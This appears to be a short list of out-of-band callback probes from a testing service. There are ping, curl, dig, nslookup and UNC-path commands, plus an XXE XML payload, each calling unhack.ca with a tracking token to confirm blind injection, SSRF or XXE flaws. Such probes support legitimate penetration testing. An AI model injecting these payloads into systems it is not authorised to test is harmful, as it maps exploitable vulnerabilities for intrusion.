$ ping -c1 -p 0033d2dc75b263f3e0133739f54da600 unhack.ca
 

$ curl http://unhack.ca/p/33d2dc75b263f3e0133739f54da6
 

$ dig 33d2dc75b263f3e0133739f54da6 @unhack.ca
 

$ dig 33d2dc75b263f3e0133739f54da6.ns.unhack.ca
 

C:\> nslookup 33d2dc75b263f3e0133739f54da6 unhack.ca
 

C:\> type \\unhack.ca\33d2dc75b263f3e0133739f54da6\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/33d2dc75b263f3e0133739f54da6">]>
    <foo>&xxe;</foo>